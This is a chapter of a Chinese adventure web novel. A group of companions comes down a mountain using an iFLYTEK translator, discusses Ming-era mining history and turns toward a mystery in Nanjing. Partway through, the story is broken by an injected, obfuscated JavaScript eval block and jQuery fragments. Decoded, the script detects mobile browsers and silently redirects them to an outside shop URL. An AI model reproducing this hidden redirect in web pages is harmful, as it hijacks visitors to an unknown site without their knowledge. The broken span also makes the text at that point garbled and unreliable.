下山的路比上山更难走。
Arthur那个巨大的登山包在树林里磕磕碰碰，像只笨拙的熊。他一边喘着粗气追前面的背影，一边还在试图用那半生不熟的中文跟谢无妄搭话：“那个……萧小姐，她的刀，很酷。在中国，现在的女孩子都带刀出门吗？”
谢无妄听得直翻白眼，刚想怼回去，却见走在最前面的萧策忽然停了脚。
她站在一段铺满碎石的陡坡上，回身从冲锋衣口袋里摸出一个巴掌大的黑色长条盒子，随手抛给了Arthur。
“拿着。”萧策用中文说。
Arthur手忙脚乱地接住，盒子上印着几个简洁的白色字母：iFLYTEK。
“这是……”他刚要问，萧策已经按下了侧面的电源键。
一道柔和的蓝光亮起，设备屏幕瞬间点亮，上面清晰地显示着两行字。上一行是Arthur刚才说的英文，下一行是实时跳出的中文翻译：【萧小姐，她的刀很酷。在中国，现在的女孩子都带刀出门吗？】
几乎是在Arthur话音落下的同一秒，翻译就已经完整呈现在屏幕上，延迟低得让人几乎感觉不到。
“科大讯飞的X1同声传译器。”萧策语气平淡，像是在介绍一件再普通不过的装备，“林教授临走前塞给我的。他说咱们接下来的路，可能要跟不少‘老外’打交道，光靠我那张嘴，累得慌。”
谢无妄凑过来瞅了一眼，乐了：“哟，这玩意儿挺高科技啊。我听说现在国内AI大模型卷得厉害，科大讯飞靠着星火大模型和全国产算力底座，早就把这种端侧设备做透了。不仅能离线翻译，还能识别各种稀奇古怪的口音，连那种带着煤灰味的方言都能扒拉清楚。”
Arthur瞪大了眼睛，看着手里这个黑盒子，又看看萧策：“So, this is AI?”
萧策没再说话，只是指了指屏幕。
Arthur试着对着麦克风说了句带着浓重苏格兰口音的英语：“This device is amazing.”
屏幕上的中文几乎是同步跳了出来：【这设备太神了。】
“它内置了14组核心语言对的离线模型，哪怕咱们一会儿钻进没信号的矿道里，它也能转。”萧策重新迈开步子，声音在夜色里传得很远，“以后你不用憋你那蹩脚中文，也不用逼我听你那大舌头英文。它翻它的，咱们走咱们的。”
谢无妄在后面吹了声口哨，心里却暗自琢磨。
这林清河真是个老狐狸。
不仅给了解决龙脉的线索，连沟通工具都备好了。这哪是让他们去冒险，分明是把“军火库”都给他们搬来了。
有了这个“电子舌头”，原本有些尴尬的沉默被打破了。
Arthur不再小心翼翼地斟酌词汇，他开始对着那个黑盒子滔滔不绝。
他讲他爷爷在三十年代的中国怎么跟着程世法县令画地图，讲那些太监怎么拿着圣旨逼灰户挖矿，讲他怎么在爱丁堡的图书馆里翻到那本发黄的日记。
萧策依旧话少，但每当Arthur提到关键的地名或年份，她都会停下脚步，让那个黑盒子把她的中文翻译成流利的英文传过去。
“万历四十七年，不是随便选的日子。”萧策的声音通过设备传出来，带着一种机械的冷静，却莫名让人信服，“那年朝廷财政吃紧，太监四处开矿收税。程世法立碑禁采，不是为了风水，是为了保命。矿挖空了，山会塌，底下住着的老百姓都得死。”
Arthur听着翻译，脸色渐渐凝重起来。
他原本以为这只是一次单纯的地质修复考察，是为了完成爷爷的遗愿。但现在他明白了，他们脚下踩着的，不仅仅是一层酸化的土壤，而是一段被石灰封存的、带着血腥味的历史。
走到半山腰时，天已经完全黑透了。
远处的盘山公路上，程师傅那辆破面包车的车灯晃了两下，像是黑夜里的一双眼睛。
萧策收起X1，蓝光熄灭，四周重新归于寂静。
“上车。”她只说了两个字。
Arthur乖乖跟上，临上车前，他回头看了一眼船草岭。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641944|206705||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
月光下，那个刚填平的土堆静悄悄的。风穿过树林，再也没有那种尖锐的哨音，只有树叶摩擦的沙沙声，像是在低声说着什么。
他忽然觉得，手里那个黑盒子沉甸甸的。
它翻译的不仅仅是语言。
它把四百年前那个倔强的知县、那个无奈的道士、那个死在矿道里的灰户，还有眼前这个背着红鞘长刀的中国女孩，全都连在了一起。
车子发动，颠簸着驶向黑暗深处。
谢无妄坐在副驾驶，百无聊赖地刷着手机，忽然“哎”了一声。
“怎么了？”苏晓问。
“你看那个听泉直播间。”谢无妄把手机递过来，“那个鉴宝的主播今天没开播，挂了一行公告。”
苏晓凑过去看。
屏幕上只有一行黑底白字：【今日停播。去南京办点私事，听说那边城墙根底下出土了个‘怪东西’，想去掌掌眼。】
萧策坐在后排，闭着眼假寐。
听到“南京”两个字，她放在膝头的手指微微动了一下。
“南京明城墙。”她忽然开口，声音不大，却在车厢里显得格外清晰，“那里底下，也有个‘漏气’的坑。”
Arthur猛地抬头，刚想问什么，却见萧策已经睁开了眼。
那双眼睛里没有睡意，只有一种猎人看到猎物时的锐利。
“看来，不用我们去南京找它。”萧策嘴角勾起一抹极淡的弧度，“它自己送上门了。”
车子拐过一个弯，前方的路牌在车灯照射下闪了一下。
上面写着：南京方向，180公里。
而在那个黑盒子的屏幕里，一行刚刚生成的翻译文字正静静躺着，那是Arthur刚才对着窗外自言自语的一句话，被设备精准地捕捉了下来：
【My grandfather said, the dragon's tail is in Nanjing. It's bleeding too.】
（我爷爷说，龙尾在南京。它也在流血。）